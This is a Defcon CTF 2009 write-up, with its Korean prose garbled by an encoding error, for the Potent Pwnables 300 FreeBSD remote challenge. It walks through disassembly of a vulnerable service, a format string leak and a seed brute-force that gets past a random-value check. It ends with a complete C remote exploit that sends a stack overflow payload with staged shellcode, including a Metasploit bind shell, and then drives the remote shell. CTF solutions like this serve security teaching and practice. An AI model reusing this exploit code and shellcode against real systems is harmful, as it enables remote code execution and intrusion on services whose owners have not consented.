======================================================================================= Title: Defcon CTF 2009 Potent Pwnables 300 ¹®Á¦ ÇØ¼³ Author : À¯µ¿ÈÆ (Xpl017Elz) in INetCop E-mail : szoahc@hotmail.com Home: http://x82.inetcop.org Date: 2009/06/08 ======================================================================================= P.S: À۳⿡ ÀÌ¾î ¿ÃÇØµµ ¿¹¼±¿¡¼­ wowhacker ÆÀÀ» µµ¿Ô½À´Ï´Ù. ¿ÃÇØ´Â Potent Pwnables °ü·Ã ¹®Á¦°¡ ³Ê¹« ´Ê°Ô ³ª¿Í¼­ brute-force µµÁß¿¡ ´ëȸ°¡ ³¡³ª´Â ¾ÈŸ±î¿î »óȲÀÌ ¹ß»ýÇßÁö¸¸ Ç®¾î³õÀº°Ô ¾ï¿ïÇØ¼­ ÀÛ¼ºÇØ ¿Ã·Áº¾´Ï´Ù. ^^; * Potent Pwnables 300 8ÀÏ »õº® 3½Ã Á¤µµ µÇ¾úÀ» ¶§ óÀ½ Á¢ÇÑ ¹®Á¦ÀÔ´Ï´Ù. pwn400 ¹®Á¦´Â Á¢Çغ¸Áöµµ ¸øÇß±¸¿ä. pwn300 ¹®Á¦´Â FreeBSD remote exploit ÀÔ´Ï´Ù. óÀ½ Á¢¼ÓÇÏ¸é ´ÙÀ½ ¸Þ½ÃÁö¿Í ÇÔ²² 4byte¸¦ ÀԷ¹޽À´Ï´Ù. -- $ telnet localhost 3663 Trying ::1... telnet: connect to address ::1: Connection refused Trying 127.0.0.1... Connected to localhost.freex0x.inetx0x.org. Escape character is '^]'. Mon Jun 08 03:03:27 2009 Press enter to continue: test Connection closed by foreign host. $ -- À̶§ ÀԷµǴ 4byte¿¡¼­ format string Ãë¾àÁ¡ÀÌ ¹ß»ýÇÕ´Ï´Ù. ¹°·Ð ½ÇÁ¦ ¹®Á¦ Ç®ÀÌ´Â format string exploitÀÌ ¾Æ´Ï¶ó overflow exploitÀ̶ó´Â Á¡ÀÔ´Ï´Ù. ´ÜÁö overflow ½Ã ÇÊ¿äÇÑ Á¤º¸¸¦ Á¦°øÇϱâ À§ÇØ format string Ãë¾àÁ¡ÀÌ Á¸ÀçÇÏ´Â °ÍÀ̾ú½À´Ï´Ù. ±×·³, ¹ÙÀ̳ʸ® ºÐ¼® ÈÄ Áß¿äÇÑ ºÎºÐ¸¸ ¼³¸íÇϵµ·Ï ÇϰڽÀ´Ï´Ù. (´ëºÎºÐ ¸®¹ö½º ¿£Áö´Ï¾î¸µ °úÁ¤ ÀÚü¸¦ ±Ã±ÝÇØÇϽô ºÐµéÀÌ °è¼Å¼­ °£´ÜÇÏ°Ô µ¡ºÙÀÌÀÚ¸é, Àü¹ÝÀûÀÎ ÇÔ¼ö È£Ãâ ±¸Á¶¸¦ ¸ÕÀú ÆÄ¾ÇÇϰí ÁÖ¿ä ÇÔ¼öµéÀ» ³ª¿­ÇÏ¿© ºÐ¼®ÇÏ´Â °úÁ¤À» °ÅÄ¡´Âµ¥ ªÀº ½Ã°£³»¿¡ ¹ÙÀ̳ʸ®¸¦ ºÐ¼®Çϱâ À§ÇØ ¸®¹ö½º ¿£Áö´Ï¾î¸µ ÅøÀ» »ç¿ëÇÕ´Ï´Ù. ¸ÕÀú rec, strace, ltrace¿Í °°Àº µµ±¸·Î Àü¹ÝÀûÀÎ ÇÔ¼ö È£Ãâ ±¸Á¶¸¦ ÆÄ¾ÇÇϱ¸¿ä. °¢ ÁÖ¿ä ÇÔ¼ö ºÐ¼®Àº objdump·Î µð½º¾î¼Àºí °á°ú¸¦ Åä´ë·Î ±¸Ã¼È­ÇÕ´Ï´Ù. ±× ÀÌÈÄ ¸¶Áö¸·À¸·Î gdb¸¦ ÅëÇØ ½ÇÇà ÁßÀÎ ÇÁ·Î¼¼½º¸¦ ¾îÅÂĪÇÏ¿© °¢ ·¹Áö½ºÅÍ °ª°ú ½ºÅÃ, Èü µîÀÇ ¸Þ¸ð¸®¸¦ »ìÇÇ´Â °úÁ¤À¸·Î ºÐ¼®À» ¸¶¹«¸®ÇÕ´Ï´Ù.) ´ÙÀ½Àº ù ¹øÂ° ºÐ¼® °úÁ¤À» ÅëÇØ ÆÄ¾ÇµÈ Àü¹ÝÀûÀÎ ÇÔ¼ö È£Ãâ ±¸Á¶ÀÔ´Ï´Ù. -- main() | +- init(); ¼ÒÄÏ ÃʱâÈ­ ÇÔ¼ö | +- drop_privs_user(); »ç¿ëÀÚ ÃʱâÈ­ ÇÔ¼ö | +- loop(); »ç¿ëÀÚ Á¢¼ÓÀ» acceptÇÏ¿© client_callback() ÇÔ¼ö È£Ãâ | +- fork(); | +- client_callback() rand1 pseudo-random Á¤¼ö °ªÀ» ¾òÀ»¶§ seed °ªÀ¸·Î ¾²ÀÌ´Â global_canary ÃʱâÈ­ ¹× »ç¿ëÀÚ ÀÔ·ÂÀ» ¹Þ´Â ÇÔ¼ö | +- global_canary = get_random_int(); srand(global_canary); rand(); global_canary¸¦ seed °ªÀ¸·Î ÀÌ¿ë | +- read_until_delim(); read ÇÔ¼ö¸¦ ÅëÇØ 4byteÀÇ »ç¿ëÀÚ ÀÔ·ÂÀ» ¹ÞÀ½ | +- fprintf(...,value); format string Ãë¾àÁ¡À» ÅëÇØ ¾Õ¼­ ÀúÀåµÈ rand1 pseudo-random Á¤¼ö °ªÀ» Ãâ·ÂÇÒ ¼ö ÀÖÀ½ | +- handle_client(); »ç¿ëÀÚÀÇ ÀԷ¿¡ ÀÇÇØ overflow°¡ ¹ß»ýÇÏ´Â ÇÔ¼ö -- handle_client() ÇÔ¼ö°¡ Áß¿äÇÏ´Ù°í ÆÇ´ÜµÇ±â ¶§¹®¿¡ objdump·Î µð½º¾î¼ÀºíÇÏ¿© ÇÑ ÁÙ¾¿ ÆÄ¾ÇÇÏ´Â µÎ ¹øÂ° ºÐ¼® °úÁ¤À» À̾ ÇÕ´Ï´Ù. -- 08049420 : 8049420: 55 push %ebp 8049421: 89 e5 mov %esp,%ebp 8049423: 81 ec 88 00 00 00 sub $136,%esp 8049429: c6 45 94 64 movb $100,-108(%ebp) %ebp-108 À§Ä¡¿¡ À妽º °ª 100À» ÀúÀå. 804942d: c7 45 fc 82 0e 0a 03 movl $0x30a0e82,-4(%ebp) rand2ÀÇ seed °ªÀ» ÀÛ¼º. 8049434: 8b 45 fc mov -4(%ebp),%eax 8049437: 35 ff e7 04 08 xor $0x804e7ff,%eax xor ¿¬»êÀ» ÅëÇØ rand2ÀÇ seed °ªÀ» ¿Ï¼º. 804943c: 89 45 fc mov %eax,-4(%ebp) 804943f: a1 38 aa 04 08 mov 0x804aa38,%eax global_canary = get_random_int(); 8049444: 89 45 90 mov %eax,-112(%ebp) ÇöÀç, %ebp-4¿¡´Â À§¿¡¼­ xorÇÏ¿© ¸¸µé¾î³½ rand2ÀÇ seed °ª $0x0b0ee97dÀÌ µé¾îÀÖ½À´Ï´Ù. %ebp-112 À§Ä¡´Â rand1ÀÇ seed °ªÀ¸·Î ¾²ÀÏ global_canary °ªÀ» ´ã°í ÀÖ±¸¿ä. 8049447: c7 44 24 08 64 00 00 00 movl $100,0x8(%esp,1) 804944f: c7 44 24 04 00 00 00 00 movl $0x0,0x4(%esp,1) 8049457: 8d 45 90 lea -112(%ebp),%eax 804945a: 83 c0 05 add $0x5,%eax + 5 ; global_canary(%ebp-112)ÀÇ +5 À§Ä¡ 804945d: 89 04 24 mov %eax,(%esp,1) 8049460: e8 73 f5 ff ff call 80489d8 <_init+0x134> memset(%ebp-112+5,0,100); ¾Æ·¡ ºÎºÐÀº º¹ÀâÇØº¸¿©¼­ ÀÌÇØÇϱ⠽±°Ô ½ÇÇàµÇ´Â ¼ø¼­´ë·Î ¹øÈ£¸¦ ºÙ¿©ºÃ½À´Ï´Ù. ¾Õ¼­ ¼³¸íÇÑ´ë·Î %ebp-108Àº %ebp-107ºÎÅÍ ½ÃÀÛÇÏ´Â ¹öÆÛÀÇ À妽º ¿ªÇÒ·Î ¾²ÀÌ´Â Áß¿äÇÑ °ªÀÔ´Ï´Ù. 8049465: 89 c7 mov %eax,%edi 8049467: eb 1c jmp 8049485 ------------------------+ 8049469: 0f b6 45 94 movzbl -108(%ebp),%eax (9) %ebp-108 °ªÀ» %eax·Î ºÒ·¯¿È. <--+-+ 804946d: 83 e8 01 sub $0x1,%eax (10) ºÒ·¯¿Â À妽º °ªÀ» 1¾¿ »­. | | 8049470: 88 45 94 mov %al,-108(%ebp) (11) ´Ù½Ã %ebp-108 À§Ä¡¿¡ ³ÖÀ½. | | 8049473: 0f b6 45 94 movzbl -108(%ebp),%eax (12) 1À» »« °ªÀ» ´Ù½Ã ºÒ·¯¿È. | | 8049477: 0f be d0 movsbl %al,%edx (13) %edx¿¡ ÀúÀå ÈÄ | | 804947a: 0f b6 05 48 aa 04 08 movzbl 0x804aa48,%eax (14) single_char °ªÀ» %eax·Î ºÎ¸§. | | 8049481: 88 44 15 95 mov %al,-107(%ebp,%edx,1) (15) single_char¸¦ ÀúÀå. | | %ebp-107[%edx]¿¡ get_char()·Î Àоî¿Â °ªÀ» ³Ö´Â °ÍÀÓ. | | 8049485: 8b 45 08 mov 0x8(%ebp),%eax (1) ·çÇÁ·Î µé¾î¿Í¼­ Á¦ÀÏ ¸ÕÀú ½ÇÇà. <-+ | 8049488: 89 04 24 mov %eax,(%esp,1) | 804948b: e8 70 00 00 00 call 8049500 (2) get_char() ÇÔ¼ö È£Ãâ. | 8049490: a2 48 aa 04 08 mov %al,0x804aa48 (3) single_char¿¡ ÀԷ°ª 1byte¸¦ ÀúÀå. | 8049495: 0f b6 05 48 aa 04 08 movzbl 0x804aa48,%eax | 804949c: 3c 0a cmp $0xa,%al (4) ÇØ´ç °ª¿¡ '\n'ÀÌ µé¾î¿Ô´ÂÁö °Ë»ç. | 804949e: 74 08 je 80494a8 (5) ÀÔ·Â ³¡ÀÌ¸é ·çÇÁ Á¾·á | 80494a0: 0f b6 45 94 movzbl -108(%ebp),%eax (6) %ebp-108 °ªÀ» %eax·Î ºÒ·¯¿É´Ï´Ù. | 80494a4: 84 c0 test %al,%al (7) 0ÀÎÁö °Ë»ç | 80494a6: 79 c1 jns 8049469 (8) 0 ¾Æ´Ï¸é À§·Î À̵¿ ---+ 80494a8: 8b 45 90 mov -112(%ebp),%eax %ebp-112´Â global_canary °ªÀÓ. 80494ab: 89 04 24 mov %eax,(%esp,1) 80494ae: e8 b5 f5 ff ff call 8048a68 <_init+0x1c4> srand(global_canary); 80494b3: e8 c0 f5 ff ff call 8048a78 <_init+0x1d4> rand(); 80494b8: a3 3c aa 04 08 mov %eax,0x804aa3c global_canaryÀ» seed·Î ÇÏ¿© ¾òÀº rand1 °ª ÀúÀå. 80494bd: 8b 45 fc mov -4(%ebp),%eax rand2ÀÇ seed °ªÀÎ $0x0b0ee97dÀ» ºÒ·¯¿È. 80494c0: 89 04 24 mov %eax,(%esp,1) 80494c3: e8 a0 f5 ff ff call 8048a68 <_init+0x1c4> srand($0x0b0ee97d); 80494c8: e8 ab f5 ff ff call 8048a78 <_init+0x1d4> rand(); 80494cd: a3 40 aa 04 08 mov %eax,0x804aa40 seed °ªÀ» ÅëÇØ ¾òÀº $0x31337 °ªÀ» rand2¿¡ ÀúÀå. 80494d2: 8b 15 3c aa 04 08 mov 0x804aa3c,%edx rand1(¸Å¹ø º¯ÇÏ´Â pseudo-random Á¤¼ö) °ª°ú 80494d8: a1 40 aa 04 08 mov 0x804aa40,%eax rand2($0x31337) °ªÀ» 80494dd: 39 c2 cmp %eax,%edx ¼­·Î ºñ±³. 80494df: 75 0a jne 80494eb ´Ù¸¦ °æ¿ì exit·Î Á¡ÇÁ --+ 80494e1: 8b 55 90 mov -112(%ebp),%edx rand1 seedÀÎ global_canary °ª°ú | 80494e4: 8b 45 fc mov -4(%ebp),%eax -4(%ebp) rand2 seedÀÎ $0x0b0ee97d °ªÀ» | 80494e7: 39 c2 cmp %eax,%edx ¼­·Î ºñ±³ÇÏ¿© | 80494e9: 75 0c jne 80494f7 ´Ù¸¥ °æ¿ì¿¡¸¸ ret ÇÔ. --+-+ 80494eb: c7 04 24 02 00 00 00 movl $0x2,(%esp,1) | | 80494f2: e8 e1 f5 ff ff call 8048ad8 <_init+0x234> exit(2); <---------------------+ | 80494f7: c9 leave <-------------------------------------------------------+ 80494f8: c3 ret 80494f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,1),%esi Àß º¸½Ã¸é ¾Æ½Ã°ÚÁö¸¸, objdump ºÎºÐÀ» Áß¿äÇÑ ÆÄÆ®º°·Î ¸î ºÎºÐÀ¸·Î Âɰ³°í ±×·¸°Ô Âɰ³Áø µ¢¾î¸®µéÀ» ±²ÀåÈ÷ »ó¼¼ÇÏ°Ô ÇÑÁÙ¾¿ µû¶ó°¡¸é¼­ ºÐ¼®ÇÏ´Â °ÍÀ» º¼ ¼ö ÀÖ½À´Ï´Ù. ÀÌ °úÁ¤¿¡¼­ µð½º¾î¼Àºí¸¸À¸·Î ÀÌÇØÇϱâ Èûµç ºÎºÐÀº gdb·Î µû¶ó°¡¸é¼­ ·¹Áö½ºÅÍ °ªÀ» Àо¸é ¾î¶² ÇàÀ§°¡ ½ÇÇàµÇ¾î ¹«¾ùÀÌ ÀúÀåµÇ¾ú´ÂÁö¸¦ ½±°Ô ¾Ë ¼ö ÀÖ½À´Ï´Ù. -- ¿ä¾àÇØ¼­ ¿Å°Üº¸¸é ´ÙÀ½°ú °°½À´Ï´Ù. -- handle_client(); | +- for(index=100;...;index--) %ebp-107[index]=get_char(); 100ºÎÅÍ 1byte¾¿ÁÙ¿©³ª°¡¸é¼­ »ç¿ëÀÚÀÇ ÀÔ·ÂÀ» ¹ÞÀ½. (index´Â %ebp-108) | +- srand(global_canary); rand1=rand(); | +- srand($0x0b0ee97d); rand2=rand(); | +- if(rand1==rand2){ Á¶°Ç¹® #1: rand1(¸Å¹ø º¯ÇÏ´Â pseudo-random Á¤¼ö) °ª°ú rand2($0x31337) °ªÀ» ºñ±³. | if(global_canary != $0x0b0ee97d) { Á¶°Ç¹® #2: rand1ÀÇ seed °ª°ú rand2ÀÇ seed °ª ºñ±³. | ret; | } | } +- exit(2); -- Àß »ìÆìº¸¸é, %ebp-107[100] À§Ä¡ºÎÅÍ 1byte¾¿ ¸¶À̳ʽº·Î ÀÔ·ÂÀ» ¹Þ´Â °ÍÀ» º¼ ¼ö Àִµ¥ ¹Ù·Î ¿©±â¼­ À妽ºÀÎ %ebp-108 À§Ä¡¸¦ µ¤¾î¾µ ¼ö ÀÖ´Â overflow Ãë¾àÁ¡ÀÌ ¹ß»ýÇÕ´Ï´Ù. 100ÀÌ ÀúÀåµÇ¾î 1byte¾¿ °¨¼ÒÇÏ´Â À妽º °ªÀ» return address À§Ä¡ °ªÀÎ 0x73À¸·Î º¯°æÇϸé return address¸¦ µ¤¾î¾µ ¼ö ÀÖ°Ô µÇ´Â °ÍÀÌÁÒ. (Á¤¸® #1: %ebp-108 = 0x73 °ªÀ» ÀÔ·ÂÇÏ¸é ´ÙÀ½ byteºÎÅÍ return address¸¦ overwrite ÇÏ°Ô µÊ) ÇÏÁö¸¸, handle_client() ÇÔ¼öÀÇ ¿¡ÇÊ·Î±× ºÎºÐÀ» »ìÆìº¸¸é Ç×»ó exit(2); ÇÔ¼ö·Î Á¾°áµÇ¾î overflowÀ¸·Î ÀÎÇÑ eip º¯Á¶°¡ ¹ß»ýÇÏÁö ¾Ê½À´Ï´Ù. °á±¹, exit(2) ÇÔ¼ö°¡ ¾Æ´Ñ retÀ» È£ÃâÇÏ¿© º¯Á¶ÇÑ return address·Î ¸®ÅÏÇϵµ·Ï ¸¸µå´Â °ÍÀÌ Áß¿äÇÕ´Ï´Ù. (Á¤¸® #2: exit(2) È£ÃâÀÌ ¾Æ´Ñ ret Äڵ带 È£ÃâÇØ¾ß ÇÔ) Á» ´õ ÀÚ¼¼È÷ ¼³¸íµå¸®¸é Áö±Ý±îÁö ¿­½ÉÈ÷ ¼³¸íÇÑ ÁÖ¿ä ºÎºÐÀÌ ¹Ù·Î handle_client() ÇÔ¼öÀÇ ¿¡ÇÊ·Î±× ºÎºÐÀä. Á¶°Ç¹® #1 ºÎºÐÀ» º¸¸é, ¸Å¹ø º¯ÇÏ´Â pseudo-random Á¤¼ö rand1 °ª°ú $0x31337(rand2) °ªÀÌ ºñ±³µÇ´Âµ¥ ÀÌ °ªµéÀº ¼­·Î ´Ù¸£±â ¶§¹®¿¡ Á¾·á ½Ã exit(2) ÇÔ¼ö¸¦ È£ÃâÇÏ°Ô µË´Ï´Ù. ±×·¡¼­ overflow°¡ °¡´ÉÇÑ rand2 seed °ªÀ» º¯°æÇØ¾ß ÇÕ´Ï´Ù. ¸¸¾à rand2 seed °ªÀ» rand1 seed °ªÀ¸·Î º¯°æÇÏ¸é ¾î¶³±î¿ä? ´ç¿¬È÷ ù ¹øÂ° Á¶°Ç¹®ÀÇ rand1==rand2ÀÇ °ø½ÄÀº ¼º¸³µÇ°ÚÁö¿ä. ÇÏÁö¸¸, ´ÙÀ½¿¡ ¿À´Â Á¶°Ç¹® #2¿¡¼­ ´Ù½Ã ÁÂÀýÇÏ°Ô µË´Ï´Ù. ±× ÀÌÀ¯´Â seed °ª³¢¸® ºñ±³ÇÏ¿© °ªÀÌ °°À¸¸é exit(2) ÇÔ¼ö¸¦ È£ÃâÇϱ⠶§¹®ÀÔ´Ï´Ù. ±×·¸´Ù¸é, rand1ÀÇ seed(global_canary) °ª°ú´Â ´Ù¸£¸é¼­ ¸Å¹ø º¯ÇÏ´Â pseudo-random Á¤¼ö °ª°ú´Â °°Àº seed °ªÀ» ã¾Æ¾ß µÎ °¡Áö Á¶°Ç¹® ¸ðµÎ ¼º¸³µÉ °Í °°±º¿ä. »ç½Ç ÀÌ ºÎºÐÀ» °¡Àå ¸¹ÀÌ °í¹ÎÇß¾ú°í ¸¹Àº ½Ã°£À» ÇÒ¾ÖÇÑ ºÎºÐÀÔ´Ï´Ù. ´Ù½Ã Á¤¸®Çؼ­ °á·ÐÀ» ¸»¾¸µå¸®ÀÚ¸é, pseudo-random Á¤¼ö °ª°ú °°À¸¸é¼­ seed °ªÀº ´Ù¸¥ ¾î¶² ƯÁ¤ÇÑ °ªÀÌ Á¸ÀçÇÕ´Ï´Ù. °ø°ÝÀÚ´Â rand1 pseudo-random Á¤¼öÀÎ global_canary °ªÀ» format string Ãë¾àÁ¡À» ÅëÇØ ¾Ë ¼ö ÀÖÀ¸¹Ç·Î Á¦ÀÏ ¸ÕÀú ÀÌ °á°ú °ª¿¡ ´ëÇÑ seed °ªÀ» ã¾Æ¾ß ÇÕ´Ï´Ù. ±×·¡¾ß ÇØ´ç seed °ª¿¡ 0x7fffffffÀ» ´õÇÏ¿© magic seed °ª(?-ÀÓÀÇ·Î ºÙ¿´À½)À» À¯ÃßÇØ³¾ ¼ö Àֱ⠶§¹®ÀÔ´Ï´Ù. ÀÌ·¸°Ô °è»êÇØ³½ magic seed °ªÀº rand1°ú ´Ù¸¥ seed °ªÀ» °®Áö¸¸ pseudo-random Á¤¼ö °á°ú °ªÀº µ¿ÀÏÇÕ´Ï´Ù. (Á¤¸® #3: magic seed °ªÀ» ã¾Æ¼­ rand2 seed °ªÀ» µ¤¾î½áÁÖ¸é ret ¸í·ÉÀ» È£ÃâÇÒ ¼ö ÀÖÀ½) ±×·¡¼­ Á¦ exploit¿¡¼­´Â brute-force¸¦ ÅëÇØ pseudo-random Á¤¼ö °ª¿¡ ´ëÇÑ ÀÓÀÇÀÇ seed °ªÀ» ãÀº ÈÄ 0x7fffffff¸¦ ´õÇØ¼­ °è»êÇÑ »õ·Î¿î seed °ªÀ» return address¿Í ÇÔ²² rand2 seed(%ebp+8) À§Ä¡¿¡ µ¤¾î¾²µµ·Ï ¼³°èÇÏ¿´½À´Ï´Ù. (exploit ÀÛ¼º ½Ã, ÁÖÀÇÇÒ Á¡Àº 100byte°¡ °Å²Ù·Î µé¾î°£´Ù´Â Á¡ÀÔ´Ï´Ù. shellcode¸¦ Æ÷ÇÔÇÑ ¸ðµç ÀÔ·Â °ªÀº °Å²Ù·Î ³Ö¾îÁÖ¾î¾ß µ¿ÀÛÇÕ´Ï´Ù.) -- Á¤¸®µÈ payload: [dummy 65byte][stage1 shellcode 35byte][0x73][return address][dummy 4byte][rand2 magic seed 4byte][\n] -- ¾ÆÂ÷, ÀÛ¼ºÇÑ shellcode ¼³¸íÀ» ±ôºýÇß±º¿ä. stage1 shellcodeÀÇ Å©±â´Â °¡´ÉÇÑÇÑ 35byte Á¤µµ·Î ÁÙ¿´±¸¿ä. ¹ÙÀ̳ʸ® ³»¿¡ read ÇÔ¼ö plt·Î ¸®ÅÏÇÏ¿© ºó °ø°£À¸·Î Á¸ÀçÇÏ´Â 0x0804aadc À§Ä¡¿¡ 78byte Á¤µµÀÇ stage2 shellcode¸¦ ÀÔ·ÂÇϰí ÇØ´ç ÁÖ¼Ò·Î ¸®ÅÏÇÏ´Â ÄÚµåÀÔ´Ï´Ù. (Âü°í·Î stage2 shellcode´Â ½Ã°£ °ü°è»ó metasploitÀÇ bindshellÀ» ºô·Á »ç¿ëÇÏ¿´½À´Ï´Ù.) -- stage1 shellcode ±¸Á¶: push $78 ; read() ÇÔ¼ö ¼¼ ¹øÂ° ÀÎÀÚ push $0x0804aadc ; read() ÇÔ¼ö µÎ ¹øÂ° ÀÎÀÚ push $4 ; read() ÇÔ¼ö ù ¹øÂ° ÀÎÀÚ push $0x0804aadc ; read() ÇÔ¼ö È£Ãâ ÈÄ return µÉ ÁÖ¼Ò push $0x08048b68 ; pwn300 ¹ÙÀ̳ʸ® ³»ÀÇ read() ÇÔ¼ö plt ÁÖ¼Ò ret -- ´ÙÀ½Àº Áö±Ý±îÁö ¼³¸íÇÑ exploit ÀÔ´Ï´Ù. -- /* ** 0x82-queserasera_pwn300 - Potent Pwnables 300 remote exploit by x82 ** ** -- ** $ ./pwn300_ex ** return addr: 0xbfbfebf0 ** rand1 pseudo-random integer value: 0x4496af7f ** find rand1 seed value: 0x1a16a4b2 ** make new rand2 magic seed value: 0x9a16a4b1 ** successfully! ** x82 was here ** FreeBSD freebsd 5.4-RELEASE FreeBSD 5.4-RELEASE #0: Sun May 8 10:21:06 UTC 2005 root@harlow.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386 ** uid=1006(pwn300) gid=1006(pwn300) groups=1006(pwn300) ** ^C ** -- ** */ #include #include #include #include #include #define TARGET_HOST "it's your testbed machine host addr" //"pwn23.ddtek.biz" void exec_sh(int sock); int main(int argc,char *argv[]){ unsigned char stage1_shellcode[]= /* 35byte */ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x6a\x4e" /* push $78 */ "\x68\xdc\xaa\x04\x08" /* push $0x0804aadc */ "\x6a\x04" /* push $4 */ "\x68\xdc\xaa\x04\x08" /* push $0x0804aadc */ "\x68\x68\x8b\x04\x08" /* push $0x08048b68 (read() plt) */ "\xc3"; /* ret */ unsigned char stage2_shellcode[]= /* 78byte */ /* bsd_ia32_bind - LPORT=9999 Size=78 Encoder=None http://metasploit.com */ "\x6a\x61\x58\x99\x52\x68\x10\x02\x27\x0f\x89\xe1\x52\x42\x52\x42" "\x52\x6a\x10\xcd\x80\x99\x93\x51\x53\x52\x6a\x68\x58\xcd\x80\xb0" "\x6a\xcd\x80\x52\x53\x52\xb0\x1e\xcd\x80\x97\x6a\x02\x59\x6a\x5a" "\x58\x51\x57\x51\xcd\x80\x49\x79\xf5\x50\x68\x2f\x2f\x73\x68\x68" "\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x53\xb0\x3b\xcd\x80"; unsigned long i=0,j=0,sock,rand_num=0,addr=0; char buf[256]; char rand_val[16]; char ret_addr[16]; if(argc>1){ addr=strtoul(argv[1],0,0); } else addr=0xbfbfebf0; printf("return addr: 0x%x\n",addr); memset(ret_addr,0,sizeof(ret_addr)); ret_addr[0]=(addr>>24)&0xff; ret_addr[1]=(addr>>16)&0xff; ret_addr[2]=(addr>>8)&0xff; ret_addr[3]=(addr>>0)&0xff; sock=setsock(TARGET_HOST,3663); memset(buf,0,sizeof(buf)); read(sock,buf,sizeof(buf)-1); /* "time\n" */ memset(buf,0,sizeof(buf)); read(sock,buf,sizeof(buf)-1); /* "Press enter to continue:\n" */ write(sock,"%x\n",3); memset(buf,0,sizeof(buf)); read(sock,buf,sizeof(buf)-1); /* "rand1 pseudo-random integer value\n" */ // get rand1 pseudo-random intger value memset(rand_val,0,sizeof(rand_val)); rand_val[0]='0'; rand_val[1]='x'; strcat(rand_val,buf); rand_num=strtoul(rand_val,0,0); printf("rand1 pseudo-random integer value: 0x%x\n",rand_num); for(i=0;i<0xffffffff;i++){ srand(i); j=rand(); if(j==rand_num){ printf("find rand1 seed value: 0x%x\n",i); i+=0x7fffffff; break; } } printf("make new rand2 magic seed value: 0x%x\n",i); memset(rand_val,0,sizeof(rand_val)); rand_val[0]=(i>>24)&0xff; rand_val[1]=(i>>16)&0xff; rand_val[2]=(i>>8)&0xff; rand_val[3]=(i>>0)&0xff; /* shellcode1 write */ /* dummy 65byte */ for(i=0;i<65;i++){ write(sock,"\x41",1); } i=sizeof(stage1_shellcode)-1; /* stage1 shellcode 35byte */ while(i){ write(sock,&stage1_shellcode[--i],1); } write(sock,"\x73",1); write(sock,ret_addr,4); /* brute-force, return address */ write(sock,"\x61\x61\x61\x61",4); /* dummy 4byte */ write(sock,rand_val,4); /* rand2 magic seed value */ write(sock,"\n",1); /* stage1 end */ for(i=0;i<78;i++){ /* stage2 shellcode 78byte */ write(sock,&stage2_shellcode[i],1); } close(sock); sock=setsock(TARGET_HOST,9999); /* success? */ exec_sh(sock); exit(0); } int setsock(char *hostname,int port) { int sock; struct hostent *he; struct sockaddr_in x82_addr; if((he=gethostbyname(hostname))==NULL) { herror("gethostbyname() error"); exit(-1); } if((sock=socket(AF_INET,SOCK_STREAM,0))==EOF) { perror("socket() error"); exit(-1); } x82_addr.sin_family=AF_INET; x82_addr.sin_port=htons(port); x82_addr.sin_addr=*((struct in_addr *)he->h_addr); bzero(&(x82_addr.sin_zero),8); if(connect(sock,(struct sockaddr *)&x82_addr,sizeof(struct sockaddr))==EOF) { perror("connect() error"); exit(-1); } return(sock); } void exec_sh(int sock) { int pckt; int chk=0; char *cmd="echo 'x82 was here';uname -a;id;export TERM=vt100;\n"; char rbuf[1024]; fd_set rset; memset((char *)rbuf,0,1024); send(sock,cmd,strlen(cmd),0); while(1) { fflush(stdout); FD_ZERO(&rset); FD_SET(sock,&rset); FD_SET(STDIN_FILENO,&rset); select(sock+1,&rset,NULL,NULL,NULL); #define CMD_CHK "x82 was here" if(FD_ISSET(sock,&rset)) { pckt=read(sock,rbuf,1024); if(!chk&&strstr(rbuf,CMD_CHK)) { fprintf(stdout,"successfully!\n"); chk++; } if(pckt<=0) { close(sock); if(!chk) return; else exit(0); } rbuf[pckt]=0; fprintf(stdout,"%s",rbuf); } if(FD_ISSET(STDIN_FILENO,&rset)) { pckt=read(STDIN_FILENO,rbuf,1024); if(pckt>0) { rbuf[pckt]=0; write(sock,rbuf,pckt); } } } return; } /* eoc */ -- -- By "dong-hoon yoU" (Xpl017Elz), in INetCop(c) Security. MSN & E-mail: szoahc(at)hotmail(dot)com, xploit(at)hackermail(dot)com INetCop Security Home: http://www.inetcop.org My World: http://x82.inetcop.org GPG public key: http://x82.inetcop.org/h0me/pr0file/x82.k3y --